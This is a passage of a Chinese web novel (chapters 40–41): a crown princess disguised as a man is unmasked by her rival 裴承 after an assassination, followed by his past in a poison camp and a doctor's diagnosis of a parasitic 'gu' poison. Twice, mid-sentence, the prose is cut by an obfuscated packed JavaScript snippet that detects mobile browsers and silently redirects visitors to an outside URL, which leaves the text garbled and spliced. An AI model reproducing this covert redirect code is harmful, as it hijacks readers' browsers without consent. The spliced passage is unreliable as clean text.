飞星把手指抖干净,又皱眉道:“谁会用这种东西添在香料里?若是健全的人也就罢了,但凡身上有伤的,遇到这东西,那可是影响大了。” 这是南巫寨用来惩罚犯错之人的东西。 多少人都因此陷入癫狂,萎靡不振,总而言之是个歹毒的东西。 杂役从没有听过这香的厉害,吓了一跳,“这么吓人,难怪……” 他没敢说完,难怪张太守每次到春香楼喝得酩酊大醉后都像发了狂一样。 太守夫人都巴不得他到外边发酒疯。 门外侍卫一群一群跑过,声势浩大。 “快快快!太守有命,一定要抓住那刺客!” 春香楼有三栋平行而立的高楼,每栋楼有五层高,以飞桥相接,中间是遍植芳草的庭院。 这么大的地方,要找起人来,不是那么容易。 就连飞星和飞雨都未能在半个时辰内回来,裴承把袖子里睡着的小飞晃醒,放到地上,“刚刚扔你的那人,还找得到吗?” / 李相筠用布条把匕.首缠在手上。 刚刚闻到的熏香果然有问题,直到现在她还浑身止不住地颤抖。 “没有!这没有!” “蠢货,这里刚刚已经搜查过了,你们去那边!” 扇开的门还在晃动,外面的火光由明转暗,脚步声远去。 李相筠靠着梁柱,小口小口喘着气。 她把张太守当做瓮中鳖捉,对方也把她当笼中鸟耍。 没想到有朝一日,她居然会落入李世勋的圈套。 李世勋这个人她平素没有放在眼里过。 他冒失易怒,狂妄自大,要不然上一回也不会被程五郎撺掇两句就发疯朝她射上那一箭。 最后赔了夫人又折兵,损失惨重。 这次也不知道他背后是何方高人出的主意,居然学会借刀杀人和隔山观虎斗。 “吱吱吱!” 莫名熟悉的叫声传入耳,李相筠把头探出来些许,看见门外走廊上出现一只长条小白兽的身影。 它四肢着地,用嘴筒子怼在地上左嗅右嗅。 再次见到它,李相筠实在不能不佩服。 裴承这小宠物也不知道是什么鼻子,比狗还灵,她为防张太守放狗追踪她的下落,还特意往脂粉堆里滚了一圈,它竟然都能找到这里来。 好在小飞原地转了几圈,略显迷茫,打算抬脚往前走。 李相筠背靠着梁柱,闭目松了口气。 可谁知就在这个时候,门吱呀一声被人关上,随后响起走近的脚步声。 “吱吱吱!” 不用看,光听动静也知道是裴承带着小飞进来了。 李相筠大气也不敢喘一下。 这裴承难不成比小飞的鼻子还灵不成? 小飞进来后便在下边乱窜,这里味道太复杂,它迟迟也不能找到正确的方向。 今夜多云,月亮藏在云层之后,屋子内没有点蜡烛,昏黑无光。 但是久在黑暗中,李相筠还是能够依稀看见裴承往四周踱步的身影,他慢慢走到靠墙的立柜前停了一会,并没有打开。 刚刚侍卫才搜过,若是有人藏在里面不可能不被发现。 他又走至中央,往两边张望,冷不丁就抬起头。 李相筠头皮顿时发炸,当机立断把裹在身上御寒的一件夹带着脂粉香味的外衣往他头上罩下去,遮挡他的视线。 “小飞。”裴承的声音从衣服下传来。 李相筠扭头一看身侧,小飞不知道什么时候也顺着梁柱爬到她的身边,正炸毛龇牙威慑她。 本想趁乱下去的意图被阻,李相筠咬紧牙关,干脆往下一跳。 裴承耳朵听见了风声,伸手欲挡,但是哪敌得过从高处坠落的“重物”,“砰”得声被压到地上,一把锋利的刀横架在他脖颈上。 一道咬牙切齿的声音传来,“裴承,你真的很讨厌。” “殿下?” 裴承的嘴刚张开些许,一小指大小的丸子被狠狠推进来,都来不及用舌.尖顶出去就融化开,低劣的甜味迅速扩散在口腔里。 “……殿下这是做什么?” 李相筠嗓音沙哑,“我刚刚给你吃的是毒药,你要是听话,照我吩咐的去做,事后我便会给你解药,听懂了么?” “殿下给我吃的,不是一颗普通的糖丸吗?” “不是!它是在外面包了一层糖粉,但里面是毒药,你们裴家虽擅长炼药,但是宫里也不乏能人……”李相筠打住话,声音微扬,“不管你信不信,这都是毒药!不想死的话就听我的话!” “臣还没问几句,殿下怎么就恼羞成怒了?”裴承的手摸到垂在自己身上的薄软衣料,那是春香楼娘子们穿的罗裙,即便看不真切,但是裴承大概也能猜到李相筠现在穿着模样。 难怪她能够在刺伤太守后“光明正大”离开屋子,原来是混入春香楼女郎里面一起跑了出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14224337|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “臣实属没有想到,殿下为杀张太守,居然肯男扮女装……” 月华从乌云后挥洒而出,照在李相筠身上。 裴承嗓子眼一紧。 眼前的李相筠不再浓妆艳抹,露出本来的肤色,略显苍白,上面布满汗珠,有几滴还沿着脖颈往下流,淌过精致的锁骨,下边是起伏的胸脯,春香楼的娘子们都穿着齐胸襦裙,领口开的低,故而李相筠这一低头的姿.势能够让人看得分明,那不是塞的东西造成的弧度。 “你……” 裴承的声音被截断,就像是被忽然挥来的利刃砍断,戛然而止。 李相筠还是那个李相筠,是他的脸,是他的声音,但却不是“他”。 这身体分明属于女子。 她是公主…… 怎么会,怎么会是公主? 大黎的公主早就被皇帝杀光了,宫里层层眼线,众目睽睽,李相筠怎么会是女儿身? 他恍忆起第一次听到李相宇提起他妹妹时的对话。 ——“阿yun是什么人?” ——“阿筠……阿筠是我妹妹,我家……我家是世族大家,因长辈作孽,家中人丁稀薄,孩子夭折了许多,阿筠她母亲去的早,常年独住在别院里,遭恶奴欺负……不说那些了,你来看看这只竹节钗好不好看?” ——“我看别的娘子戴的都是梅兰等花叶钗,竹节像是君子之物。” ——“君子之物,说的不错,不过我妹妹名字里有个竹字,所以这竹节钗送她也算是应趣。“ 筠也是竹,李相筠…… 李相筠才是李相宇的妹妹。 他一直以来都弄错了,不但是最初的判断错误,甚至后来因为根深蒂固的印象,他有意忽略一些颇有蹊跷的线索。 就譬如飞星对他所说的太子买炸糖饼的事,又比如千秋节太子过敏的事,温泉汤池里太子无端端升起的杀意,成衣铺里太子的防备与抗拒。 种种不寻常的背后都是一个他从不敢想的真相。 李相筠才是李相宇口里的妹妹。 ——“为人兄长,保护妹妹是理所应当的事情,我只愿阿筠此生能够无忧无虑,无伤无疾,平安快乐。” 无忧无虑,无伤无疾,平安快乐。 哪一条,哪一个字和李相筠现在的状况相关? 她有忧有虑,有伤有疾,既不平安,也不快乐。 裴承从不想人死后还会留念人世,更不信鬼神会窥看人间,但是这一刻他却不由想。 倘若李相宇泉下有知,他想捧在掌心的妹妹如今腹背受敌,万死一生,该当作何想? 他会伤心痛苦难过吗? 应该是会的吧,李相宇那样的人,太过心软,哪怕是萍水相逢的人,他都会设身处地地考虑,共情,为他们所喜而喜,为他们所忧而忧。 更遑论是最亲近疼爱的人。 他的心脏又开始泛起针扎般密密匝匝的痛。 没有李相宇,她是怎么在长安活下来,又怎么在那么多双眼睛的监视下坐稳东宫。 她身上的伤又是经历过多少磨难和危险,是多少次的死里逃生。 “很惊讶是吗?事实就是如此。” 李相筠用刀背卡住裴承的喉咙,她的手在尽力遏制住颤抖。 杀了,只要在动脉的位置上割一刀,裴承就没有机会告诉任何人。 但是…… 虽然被裴承看破她的真实身份,但兹事体大,裴承也不是鲁莽行事之人,只要威逼利诱,先行缓兵之策,暂时稳住他,等逃过这一劫,再想办法除去他,也不是什么大不了的事。 比杀掉他,更正确的选择是利用他。 李相筠深深呼吸了口气,缓声道:“我们做个交易吧裴承,你既然知道我这么大一个秘密,按理来说我是不能留你性命在的,不过……” “殿下……为何要大费周章杀张太守?” 她明明在说与他生死攸关的事情,他不关心反而提那张太守做什么? 李相筠皱眉头。 “我想杀就杀。” “因为张太守和怀贤太子有旧怨是吗?你是在为怀贤太子报仇。”裴承带着些恍然大悟的轻叹,又不赞同道:“殿下尚在危险当中,不该如此冒失。” 李相筠冷嗤一声,冰冷的刀锋危险地靠上他的脖颈,将他的下颚抬高。 裴承望着她,没有冷嘲热讽,没有针锋相对,只有深深的注视。 从前想不明白的怪异之处在真相大白的时候全都弄清楚了。 李相筠是在为怀贤太子抱不平,是在为他复仇。 裴承的目光就像煮融的牛乳又湿又热裹在她的身上,令李相筠浑身不自在,她加重语气,威胁道:“那些不重要,眼下是我说你做,不然现在就送你去见阎王!” 裴承不答。 时间被拉得无限长,久到李相筠不得不怀疑裴珵这厮是不是在暗暗琢磨怎么应对她。 毕竟是裴承,她的死对头,这个时候不正是落井下石的好机会。 她握紧匕.首,大气也不敢喘,只等着应付裴承的反应。 许久后,裴承只缓缓眨了一下眼,声音温和道:“……你说,我都听你的。” 裴承这么好说话,李相筠还真不习惯。 一定是缓兵之策吧! 李相筠试探: “先杀张太守。” “好。” “……再送我离开郸城。” “好。” 李相筠:“……?” 裴承全都答应,是他不正常了还是自己烧昏头了? 不过,她头的确好晕,天旋地转,视野也模糊。 温热的液.体流到手指上,李相筠低头努力看清,那是裴承的血。 她刚没有控制好力度,匕首划破裴承的脖颈。 “你……” 都不会躲么? 一阵晕眩袭来,李相筠手指一松,掉了匕首,人也随之栽了下去。 意料中的痛没有传来,只有肩膀后背微紧,苦涩的药味侵入鼻端,就好像她正被人牢牢抱住…… “裴承……” 头顶的人用鼻音“嗯”了声,“我在。” “……事成……之后,解药给你,你……要是敢……我就杀了你……” 裴承摸起身边地板上的匕.首,重新送回到她手上,道:“殿下,可以信我。” 李相筠一手揪住他的衣服,一手握住刀,身体止不住地颤,合上的眼皮努力睁开,仿佛还在和身体做抗争,但是她的力气越来越小,声音也越来越弱,最后只剩下一声喃喃低语:“我不敢……” 裴承一怔。 这三个字不代表着懦弱,而是孤独。 是不敢相信别人,也不敢依赖别人,除自己之外,一无所有的孤独。 不该是这样。 心脏像是被狠狠揉碎,万钧的重石从高空坠落,把血肉淋漓的碎屑砸成了血泥,汁水沿着石缝蜿蜒流淌。 裴承捂着嘴,从喉管里反上来浓重的铁锈味,鲜血渗出他的指缝。 40.梳发 “没想到太子居然会是……” 飞雨一下捂住飞星的嘴。 这样天大的秘密,哪怕是在荒郊野岭也怕被人偷听了去。 兄弟两互相瞪着眼看了好一会,才慢慢把这则骇人听闻的信息消化下去。 不过忍了又忍,飞星还是忍不住小声道:“那我们之前还……还给太子使了那么多绊子,你说这冤假错案的,大水冲了龙王庙啊!好在太子命大,这要是死了,咱不是白忙!” 飞雨难得没有抬杠,因为飞星这次说的是大实话。 要不是太子命大,她早死了! 飞星又骨碌转了转眼,瞟见那裹着家主大氅枕在家主腿上,还闭着眼睛昏睡的太子,狠狠打了个激灵。 虽然现在已经知道太子是女人,但这才更可怕的事,因为她完全没有没有一丁点女儿家柔软的心肠。 不但心狠手辣,还杀人不眨眼! 飞星不由担忧起来: “我们知道这个秘密会被太子杀人灭口的吧!” “那是肯定的,你嘴巴这么大,太子醒来第一个灭的就是你。” 飞雨一点也不意外飞星会被灭口,淡定地用树枝拨动火灰,好让火苗不至于熄灭。 飞星倒在飞雨身上,哭丧道:“那也是,之前太子就想把我干掉,早知道就和那几只大鹅搞好关系……” 飞雨推开哭天喊地的飞星,朝前挑了挑眼,道:“那些都不重要,现在最重要的是家主,你没发现,家主看起来不对劲。” “我的小命怎么就不重要了?”飞星不满地撅起嘴,但还是擦了擦眼泪,望向裴承,仔细观察一阵。 “确实不对劲。” 火堆旁,裴承垂眸静坐,已经有小半时辰没有挪动过,他的脸色瓷白,嘴唇却殷红,浅色的衣襟上还有星星点点的血迹。 飞星忽然想到一个再贴切不过的词——失魂落魄。 “上一次看见家主这个模样,还是南巫寨烧毁的那一日……” 两人坐在远处的石头上。 透过跳跃的火苗,他们眼中的裴承就好像栖身在火海里,正在被烈火焚烧。 六年前南巫寨那场大火,寨子彻底毁了,许多和他们兄弟差不多的孩子侥幸存活并成功逃了出来。 他们站在日光下,个个苍白似鬼,形销骨立。 获得自由那一刻首先涌上来的并不是欣喜,而是无边无际的茫然。 仿佛是一片忽然被风吹到陌生湖泊上的叶子,被水波推得打转,失去方向。 他们之中绝大部分都是自幼被送进南巫寨。 有些是被蛊师们捡到,有些是被人牙子拐骗,还有一些是被亲人卖进来换钱。 自进入南巫寨,他们就是掉进万丈深渊,再无自由的可能。 只有日复一日,年复一年流转在不同的毒窟里,被各种毒物折磨,然后无声无息地死去。 蛊师们只在乎他们能不能扛得住毒液,哪管他们识不识字,有没有学识,所以不会刻意去教他们什么。 以至于有一部分孩子最后连话都不会说,就像是鸡圈里养的鸡,麻木迟钝,只能任人宰割。 裴承是裴家的私生子。 他的状况要比其他人“好”许多,蛊师们对他寄以厚望,关照他的次数最多。 他们给他喂最毒的虫,在他垂死之际又把他治好。 要是换做其他人半死不活的时候早扔到“肥堆”穴,给虫子当食物了。 不但如此,还有一位穿着黑罩衣的奇怪男人偷偷来教他读书写字,也教他武艺技能。 没有人知道男人的名字,经历,甚至不知道他是如何进入防备森严的南巫寨,又是怎么避人耳目地离开。 那人要裴承叫他老师。 后来,他们虽发现了裴承与他老师的秘密,但没有人想去告密,因为有裴承在,最毒最痛的虫子都是他去试,而且他们也痛恨那些蛊师,又怎么会通风报信? 因为好奇,也是为消磨时光,他们死皮赖脸地去旁听,从“老师”的口里知道了很多外边有趣的事,也知道外面世界的辽阔与自由。 只是,老师死在南巫寨烧毁前一年的冬天里,此后再没有人会教他们功课和武艺。 裴承也再没有提起过老师。 南巫寨被烧,长安来的人救出他们,并告诉他们,从今往后可以回到普通人的村镇,开始新的生活。 普通人的生活。 是睡在温暖的房子里而不是湿冷的洞穴,是吃着米饭菜肉而不是虫浆毒兽,这对于南巫寨长大的孩子们是多大的诱惑。 他们在迷茫之后就迫不及待迈开脚,走入阳光中。 只有身后的裴承还在熊熊燃烧的寨子下,烧得发黑发红的木头随时会从上面掉下来,把他掩埋。 他就像失去栖息地的林鸟,无处可去,沉默之下是无助的嘶喊。 烈火噼啪,火星犹如天雨络绎不绝降落在他的肩头,他手腕上的绿色飘带随风飞扬,他的黑发也在张牙舞爪,青天白日之下都像个怪物。 即便像飞星这样神经大条的人都看出来,那一刻裴承一定是想要和南巫寨一起毁掉。 他虽然姓裴,但他是裴家的弃子。 无父无母,没有期望没有向往,只是一俱不知道为什么而活的行尸走肉。 飞星长长叹了口气,“要不是怀贤太子救了家主,家主早就不想活了。” 那时候,他们谁也不知道那位忽然率兵降临南巫寨的人是当朝太子,只当是长安来的什么大官儿。 他救下裴承,并告诉他。 ——“假如真的不知道为什么而活,那便为我而活,我救了你性命,你应该要报答我。” “差点报答变成报复,也难怪家主这么抑郁寡欢了,可谁能知道小太子才是怀贤太子的妹妹呢?他把秘密藏得太好了……” “要是藏的不好,小太子早死八百回了,哪轮到我们。” “说的也是,怀贤太子没想过要我们到长安来。” “是不想我们发现这个秘密。” 两人对视一眼,越发觉得这个解释是正确的。 怀贤太子不想他们到长安,西南虽野蛮,长安也不安。 两人沉默了好一会,飞星又开口,“家主弄的那只鸡烤多久了?” “快一个时辰。” “……糟!要烤焦了!” / 李相筠是被一阵香味勾醒的。 没办法,春香楼虽然不克扣娘子们胭脂水粉,但是吃食上委实有些小气。 她在楼里就没吃饱过饭。 她睁开眼,先看见裴承安静的喉结和精致的下巴,然后才是漫天的繁星。 她怎么在这? 好一会,她才想明白,是裴承带她离开了郸城,他们现在应该是暂留在城外某处林子里。 不管裴承有什么打算,他没有趁她昏迷把她丢掉,或者交给其他人,算是她赌对了。 接下来只要找机会和执金卫联系上,她才能算是真正的化险为夷。 李相筠正在认真盘算,偏肚子咕噜噜唱起空城计,引人注意。 裴承低下视线看向她。 李相筠立刻坐起身,盯着正在掰烤鸡腿的飞星,“我饿了。” 虽然在春香楼闹了一场,但张太守是个草包,毫无战斗力,所以她身上并没有负新伤,昏厥是因为前面的伤还没好全。 ……大概。 其实李相筠也不明白自己的身体出了什么问题,无缘故地发热,无缘故地昏厥,兴许她应该找个大夫瞧瞧。 飞星把烤鸡整只端上来,放在干净的大叶子上递给她,瞅了眼她的反应,语气尽量像从前一样轻快:“殿下您醒的可正是时候,我跟您说,我们家主做饭可好吃了,您尝尝吧!” 李相筠忍不住挑了挑眉,回头问:“裴家主还会烤鸡?” “嗯。” 裴承的话出乎意料的少,要是搁在以前,他必然会冷嘲热讽地说一些阴阳怪气的话,两人再唇枪舌剑一番,这才正常。 李相筠定定看了他一眼,无法判断出裴承究竟是作何想法。 烤鸡的味道确实不错,李相筠吃完一只鸡腿和一只鸡翅,又压了几个不知名的野果解腻,肠胃得到满足,她的心思才重新活络起来。 女扮男装是她最大的秘密,一旦被揭露,她将会失去所有的权利甚至性命。 得许诺裴承什么样的封口费才能够暂时稳住他? 高官爵位?金银财宝? 李相筠根本不知道裴承想要什么……等等,上一回他说“找一个真相,还一个恩情”,他要找什么真相,又是还什么人的恩情? 李相筠思来想去,似乎唯有这个可以做点文章,拿出来谈一谈。 但裴承却没有半点要和她谈条件的想法,几次她的眼神都怼上去了,裴承却避开了。 但是她不看的时候,又仿佛感觉有一道目光始终在她脸上。 李相筠这才发觉裴承变得很奇怪,就好像这个秘密不是她李相筠沉重的负担,反而是裴承的,实在令她费解。 “你到底想问什么,直接问就是了!” 如此这般好几次,就好像一把钝刀反复在拉割人的咽喉,李相筠终于忍不住猛地把脸一扭,直直对上裴承的视线。 飞星飞雨都坐在远处,她的声音不低不高,正好只够他们两人听见。 “说话!” 裴承开口:“我……” 他才说了好几个“我”字,忽然脸色微变,膝盖往下一沉,砰的一声单膝跪在地上。 他的手攥住胸前的衣服,冷汗沿着鬓角不断流下。 李相筠倏然站起来,走近他,“裴承?” 裴承倏然抓住她的手腕,抬起头,他的眼睛比火还要红艳,就像是两颗被灿日照亮的红宝石。 危险。 李相筠心里倏然冒出这个念头,也唯有这个念头。 可她的脚却好似被沉重的泥浆裹住,动弹不得。 因为裴承的眼睛告诉她,别动。 别动,别走,不要离开。 她不能动不能走,更不能离开。 就像是害怕惊醒一头野兽。 但,这究竟是什么? 裴承的手将她慢慢拉下,李相筠也缓缓蹲下,就好像无法违背他的意愿。 两人目光相对。 李相筠莫名咽了口唾沫。 裴承的脸如玉似瓷,光洁润白,但发丝眉毛黑如鸦羽,黑白之中那如渊的深目艳得逼目。 天地之间,还有什么能够比他的这双眼睛还要艳美、惑人吗? 李相筠没有动。 裴承的手往上抚在她的脸颊,而后沿着侧脸滑至咽喉,指头上的薄茧摩挲在她的皮肤上,既酥又痒, 有什么东西蠢蠢欲动,欲想与之共颤。 李相筠想要弄明白,眼睛错也不错地盯着裴承。 裴承的唇角流出了鲜血。 而她的心脏跳得好快。 快得像是迫在眉睫的死亡瞬间。 飞星和飞雨冲上前,拉开李相筠。 一个道:“殿下不要看家主的眼睛。” 另一个道:“殿下交给我们处理,去旁边休息吧!” 李相筠的视线被两人遮挡住,无法看清后面裴承的状况,但是身体的那股奇怪的冲动已经消散。 虽然她也很好奇裴承身上到底发生了什么,但是飞星飞雨如临大敌的模样让她意识到现在不问为好。 裴承的秘密? 难不成是南巫寨把他变成了一个怪物? 揣着各种想法,李相筠靠着树不敢睡去,一直牢牢盯着裴承那边的方向,直到月上中天,她才迷迷糊糊闭上眼,不知是什么时候,依稀感觉到有人在她面前蹲下,伸手想要触碰她,却没有吵醒她。 “……为什么,是你。” 为什么是我? 李相筠的眼皮变得沉重,已经再也无法抬起来,就这般浑浑噩噩睡了去。 天擦亮,一辆马车连带着十几名裴家的侍卫已经候在路边,也不知道裴承是从来没召唤来的。 甚至还带来一套给李相筠换洗的衣物。 只是女装。 “郸城太守死了,李世勋用不了多久时间就会查到当夜是臣携带一名女郎离城而去,倘若短短时间里,臣身边就换了一名郎君,恐怕会怀疑到殿下头上。”裴承走到她身后。 李相筠放下衣物回头,打量他的脸。 裴承已经恢复正常了。 “那之后呢?” 她总不能一直穿着女装在裴承身边,哪怕带着面纱,只要熟悉的人见到她的眉眼,总会发现其中蹊跷之处。 “等到一个闹市停车,再由飞星穿着女装下去,让人看清他的脸即可。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244731|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 飞星在远处听见了,连忙抬手指着自己的脸,满脸的疑惑。 显然他的主子在事先并没有跟他通过气,他还不知道自己新多了一项男扮女装的任务。 李相筠在马车里换好衣裙,但她不会梳女子的头发,扒拉了半天,最后还是在脑袋上扭出一个男子发髻,用一只带着流苏的花钗固定了事。 她昨夜听见附近有水流动的声音,打算去水边简单洗漱一下,不然若有还没有擦干净的脂粉粘在皮肤上,她的脸会像花猫一样可笑。 一拉开车帘,裴承就站在马车下,朝上望来,晨曦照亮他幽深的眸眼,蒙上一层奇异的亮光。 而后,他的视线抬高,落在她的头发上。 李相筠下意识摸了摸发髻,道:“我不会梳女子头发,很奇怪?” 谈不上奇怪,因为单看李相筠那张脸本来就偏柔美,原先裴承把她当男子看,故而会刻意忽略她的女相。 现在她上身穿杏色重蔓牡丹草纹织锦褙子,下边穿红白拼色十二破裙,外罩了件厚实带绒毛的披袄,如此花团锦簇之下,活脱脱就是一位从华堂走出来的千金贵女。 裴承一时怔然,但很快他就在李相筠目不转睛的注视下回过神,转身自然道:“下来吧,臣帮殿下梳。” 李相筠坐在水边干净的石头上,手里是一块刚拧干的帕子,她用帕子擦拭着脸和脖颈。 裴承就站在她身后,为她梳理发丝。 李相筠头发乌黑柔亮,只是因为时常要做男装发髻,需要修短打薄,故而比寻常女子的头发短上不少。 裴承手掌捧起那些发丝,用玉梳子把扭缠的地方慢慢梳顺,动作轻柔。 李相筠盯着眼前的小河。 水面不断被鱼儿撞出涟漪,一圈还没荡开,就被水流缓缓带走,流淌的水面上还有他们模糊相叠的影子。 真奇怪,他们明明是死对头,现在却摆出一副“岁月静好”的模样。 李相筠浑身不自在,就好像被无数只蚂蚁爬上了身。 她和裴承怎么会处成这样的关系? 想想都让人恶寒,赶紧找话打破安静。 “你……你怎么连女子的头发都会梳啊?” 裴承微低着头,呼吸若有似乎地拂过她的发顶,绒发轻晃,漾出一抹痒意。 就好像一根绒羽轻轻刮过心脏。 他“嗯”了声,道:“小的时候,帮我娘梳过。” 娘? 李相筠飞快回想,从金宝查出来的资料可知裴承被送去南巫寨的时候六岁,那他和母亲分开也不会超过这个岁数。 他的母亲裴六娘与人私通生下了他,而后为了不被家族惩罚,也可能是为了保护他选择出逃。 但西南地界的混乱与野蛮,离开家族,孤儿寡母要生活的艰险困阻可想而知。 “你母亲应当很爱你吧……”提到母亲,李相筠想起来卫婕妤,不由一笑,“我母妃从前对我也很好,可是后来卫家出事,她就想杀死我。” 两边都是血脉相连的亲人,但卫婕妤选择的是卫家。 对于李相筠的话,裴承不置可否,只问:“殿下在铜矿洞里见到了卫家人?” 李相筠手里把玩着流苏钗,“裴家主神通广大,还有什么是不知道的?” “若臣真的神通广大,又岂会不知殿下的真实身份?” 李相筠蓦然把钗子滑到手掌心握紧,一个扭身,扯住裴承的衣襟猛拽下来,钗尖抵住他薄弱的咽喉。 “你有没有想过,有些事情不知道反而更好?” 两人的脸只隔着一个拳头的距离,鼻息交融,仿佛亲密无间,只是远处的人看不清,在他们中间还有个危险的利器。 “怀贤太子的死裴家不敢说完全没有干系,但是,臣并不是殿下要找的那个罪魁祸首。”这是裴承第一次在她面前说起自己与怀贤太子的关系。 李相筠手指微松,随即又拧起眉抓紧他,“你与裴家又有何区别?” “裴家不在乎长安龙椅上坐的是什么人,但臣在乎。”裴承毫不在乎抵住要害的钗子,就好像知道李相筠不会下手。 话说到这份上,李相筠怎能听不懂其中的深意,只是微诧异事到如今,他居然没有嫌弃她的女儿身,还想要让她登上皇位不成? 她又不是真正的皇子。 李相筠道:“你想如何?” “我为殿下保守秘密,殿下信我……忠心无二。” “忠心不二这四个字说出来,裴少保自己都不带笑的吗?” 李相筠觉得要不是裴承脑子坏了,就是她脑子坏了。 “殿下不是给臣喂了毒药吗?为何还不信臣的忠心?” 这下轮到李相筠哑口无言。 她不能自己拆台说那只是颗普通且劣等的糖丸吧? 虽然,裴承或许早已经看穿她的把戏。 但这场戏他们还要演下去。 坐回马车,李相筠搂着手炉闭目养神,两个时辰后,他们抵达离郸城不远的安城。 坏事传千里,昨夜郸城发生的事比他们还早抵达,街头巷尾都在议论。 “肯定是冤魂索命来了!要不然人怎么可能淹死在自家的鲤鱼池呢?那鲤鱼池水还不过膝盖!” “那春香楼也是鬼怪作祟?” “错不了!春香楼那么多人就杀他一个,就是冤有头债有主!”路人斩钉截铁。 李相筠睁开眼,揉了揉发胀的鬓角。 都传得什么乱七八糟的。 马蹄声越来越响,那些嘈杂的议论声被抛在后面。 李相筠手指敲在手炉上,张太守死了,接下来只要…… 车帘忽然被掀开,裴承的脸出现在眼前,李相筠抱紧手炉,警惕道:“做什么?” “殿下放宽心,臣绝不不会把殿下卖了。” 裴承递进来一顶帷帽。 李相筠是因为冷不丁见到正在盘算的正主所以才受到惊吓,再让裴承这么一宽慰,愈发觉得自己果然阴险狠毒。 但她很快又释怀了。 处于这样的状况,小心行事又有什么错呢? 裴承再怎么承诺,又不可能挖出心来给她看,就好比她现在表面言笑晏晏,但心底却还在计划如何把他们这几个知情者解决掉。 由己度人,裴承心底究竟什么打算,只有他自己清楚。 她又岂能放心。 41.日月 李相筠接过帷帽上下翻看,没有什么玄机,只是一顶再普通不过的帷帽。 “……你给我这个做什么?” 裴承声音微哑,缓缓道:“臣有事要办,殿下可以在附近的街上逛逛,飞雨会陪着你。” 他是不是昨夜着凉了,声音听起来很奇怪,人也不是很精神。 不过昨夜的事到现在他也没有开口解释,也罢,他们又不是那种凡事要知道的亲密关系,没什么好问的,免得裴承还以为自己在关心他。 李相筠将视线从裴承的肩头眺出。 他们所停的地方正是一个僻静的窄巷,巷道口离这儿还有段距离,依稀能看见走过的百姓。 裴承看着她道:“亦或者,殿下愿意在这里等上一个时辰?” 李相筠也没问他要去做什么,而是选择把帷帽戴上。 出去逛逛,总能碰到点机会。 兴许她还能提前离开。 飞星不像飞雨那样多嘴多舌,跟在身后也没有多少存在感,但他也比飞星谨慎小心许多,要想从他眼皮底下溜走,绝非容易的事。 李相筠只能走一步算一步。 马车驶到城中最好的医馆。 坐堂的医士是个童颜鹤发的老头,一边看诊开药,一边还抽空在给身边童子讲功课。 “《论诊候》曰:上医医国,中医医人,下医医病。又曰上医听声,中医察色,下医诊脉。我们不求当个上医,但也不能甘于做个下医,你看前日我们去的那户人家,病症算不上难,可为什么就是难治呢?”① 小童站得笔直,板着张小脸,十分严肃,“因为病患不俱实以告,还加以掩饰的缘故!” “没错。”老医士捋了捋胡须,“这就好比在难闻的毒气上盖香粉,虽粉饰了太平,但使人中毒已深!可往往有些人讳疾忌医,这才耽搁了病情。” 李相筠闻言,不由蹙眉深思起来。 直到老医士与小药童说完话,过来要为她搭脉,她才回过神。 “小娘子带着帷帽是不方便让人看见面容?” “刚从听老先生的话,上医听声,中医察色,下医诊脉,不知道老先生能从声音里听出几分?” 小童在旁不悦道:“哪有病患拷问大夫的,你到底是不是来看病的!” 老医士哈哈笑了起来,摆摆手,“无妨无妨,但听小娘子音色,不是本地人。” 李相筠颔首以答。 “刚听小娘子声音,先轻后重,这便是内伤气虚之症,内伤又称内损,又分为伤气、伤血、伤肺腑三类,小娘子或先天有血气不足之患,或近来受过严重外伤。” 此一言出,不但李相筠惊讶,就连飞雨都把目光投了过来。 这老大夫着实有点真本领在身。 李相筠伸手露出腕部搁在桌上,道:“老大夫说的不错,我既有血气不足之患,也有严重外伤,故而手寒体僵,不过真正令我困扰的是,身体内似有一股异热在游走,与伤情相驳,我是不是生了怪病?” 流血过多应该会体温下降,如果伤口感染应该会引起身体发热,但热也不至于会到处移动。 所以李相筠称之怪病。 飞雨放下手臂,不禁看向李相筠。 他还以为李相筠来看大夫是因为身外之伤。 老大夫为她搭脉,须臾后眉头一抬,盯着纱幕后隐隐绰绰的脸,严肃道:“这恐怕不是病,小娘子身上可能是种有蛊毒。” 在西南地界,哪怕不是蛊医也对蛊毒多少有些了解。 以往南巫寨还存在时,裴家对其还有约束,后来南巫寨覆灭,许多蛊师趁乱逃走,混入人群里,越来越多的普通人深受其害。 虽说医者仁心,但他们没有蛊师引导,别说解蛊了就是入门都极难,唯有些稍具天赋的医士,勤学苦练才能够诊断出一二。 “蛊毒?”李相筠和飞雨同时出声,惊诧万分。 李相筠浑身一抖,手臂上都浮起一层鸡皮疙瘩。 普通的刀剑损伤她从来不惧,唯独听见蛊这种邪门的玩意心慌。 老大夫还特意强调,“蛊虫一类并非老夫所长,恕老夫也无能为力啊!” “蛊虫?”李相筠心脏都停跳了一拍,简直不敢往细里想。 不但是蛊毒,还是蛊虫! 虫,她身体里有条虫…… 李相筠都快疯了。 飞雨在后面露出愕然震惊的神色,但无人注意到。 老大夫起身就走到角落里,埋头翻箱倒柜。 册子、卷轴络绎不绝飞了出来,就好像被兔子刨出来的沙土飞扬。 “大部分的蛊虫都是以人之血气为食,就好比未降生的婴孩寄宿在母体,经年累月成长茁壮,小娘子觉得身体有异,多半是因为这蛊虫作祟。” 